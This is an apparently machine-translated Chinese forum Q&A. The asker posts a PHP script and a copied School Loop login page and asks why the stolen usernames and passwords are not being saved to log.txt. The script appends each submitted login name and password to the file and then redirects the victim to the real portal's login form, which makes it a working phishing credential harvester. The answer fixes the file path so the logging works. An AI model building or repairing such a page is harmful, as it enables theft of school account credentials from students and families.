从HTML输入中写入.txt文件

Question

我试图从我的个人网站获取用户名和密码以保存到.txt文件。首先，我需要弄清楚我的.php脚本有什么问题，因为它没有写入文件。

<?php 
if(isset($_POST['login_name']) && isset($_POST['password'])) { 
    $data = $_POST['login_name'] . '-' . $_POST['password'] . "\n"; 
    $ret = file_put_contents('/log.txt', $data, FILE_APPEND | LOCK_EX); 
    if($ret === false) { 
     header("Location: /portal/guest_home?etarget=login_form"); 
     die(); 
    } 
    else { 
     echo "$ret bytes written to file"; 
     header("Location: /portal/guest_home?etarget=login_form"); 
     die(); 
    } 
} 
else { 
    header("Location: /portal/guest_home?etarget=login_form"); 
    die(); 
} 

?> 

的HTML代码

<div class="shadow_round" style="width: 565px;"> 
<table border="0" cellpadding="0" cellspacing="0" width="100%" > 
    <tr> 
     <td class="round-left gradient_blue padding_20"> 
      <a href="/"><img src="https://cdn.schoolloop.com/1501091742/img/logo_sl_login.png" width="152" height="60" alt="School Loop" /></a> 
     </td> 
     <td class="padding_20 round-right" style="background: #fff; width: 100%"> 
<form name="form" id="form" action="/login.php" method="POST" autocomplete="off" name="form"> 
    <table width="100%" cellpadding='2' cellspacing='0' id="login_form" style="margin-right: 10px;"> 
     <tr> 
      <td nowrap> 
       <a href= "/portal/setLanguage?d=x&language=Spanish&return_url=1423243969895" class="link_language">Español</a><a href= "/portal/setLanguage?d=x&language=Chinese&return_url=1423243969895" class="link_language">&#20013;&#25991;</a> 
      </td> 
     </tr> 
     <tr> 
      <td> 
       <div class="form_label_above" nowrap>Login Name:</div> 
        <input class='Text' type="text" name=login_name value=""> 
      </td> 
     </tr> 
     <tr> 
      <td width="100%"> 
       <div class="form_label_above" nowrap>Password:</div> 
        <input class='Text' type='password' name=password value=""> 
       <div class="content_spacing_sm"></div> 
      </td> 
     </tr> 
     <tr> 
      <td> 
       <a href= "javascript:document.form.event_override.value='login';document.form.submit();" class="btn-action-highlight-lg">Login</a> 
       <a class="btn-standard-lg" href="/portal/register?d=x&return_url=1423243969895">Register Now</a> 
       <div class="content_spacing"></div> 
      </td> 
     </tr> 
     <tr> 
      <td> 
       <a href="/portal/forgot_password?d=x&return_url=1423243969895">Forgot password?</a> 
       <br> 
       <br> 
       <a class="small" href="/portal/login">Secure Login</a> 
      </td> 
     </tr> 
    </table> 
    <input name="event.login" src="https://cdn.schoolloop.com/1501091742/img/spacer.gif" type="image"> 
    <input type="hidden" name="form_data_id" id="form_data_id" value="13063990464484724"><input type="hidden" name="reverse" id="reverse" value=""><input type="hidden" name="sort" id="sort" value=""><input type="hidden" name="login_form_reverse" id="login_form_reverse" value=""><input type="hidden" name="login_form_page_index" id="login_form_page_index" value=""><input type="hidden" name="login_form_page_item_count" id="login_form_page_item_count" value=""><input type="hidden" name="event_override" id="event_override" value=""><input type="hidden" name="login_form_sort" id="login_form_sort" value=""><input type="hidden" name="return_url" id="return_url" value=""><input type="hidden" name="forward" id="forward" value=""><input type="hidden" name="redirect" id="redirect" value=""><input type="hidden" name="login_form_letter" id="login_form_letter" value=""><input type="hidden" name="login_form_filter" id="login_form_filter" value=""> 
</form> 

Answer 1

你的脚本不节省，因为你可能设置了错误的文件保存到的登录部分。更改

$ret = file_put_contents('/log.txt', $data, FILE_APPEND | LOCK_EX); 

到

$ret = file_put_contents('./log.txt', $data, FILE_APPEND | LOCK_EX); 

将文件保存在当前路径下（你的脚本所在。请确保您有写入权限该目录）。 file_put_contents（）需要保存路径，使用'/log.txt'会将该文件保存到OS文件系统的根目录，而不是Web服务器document_root。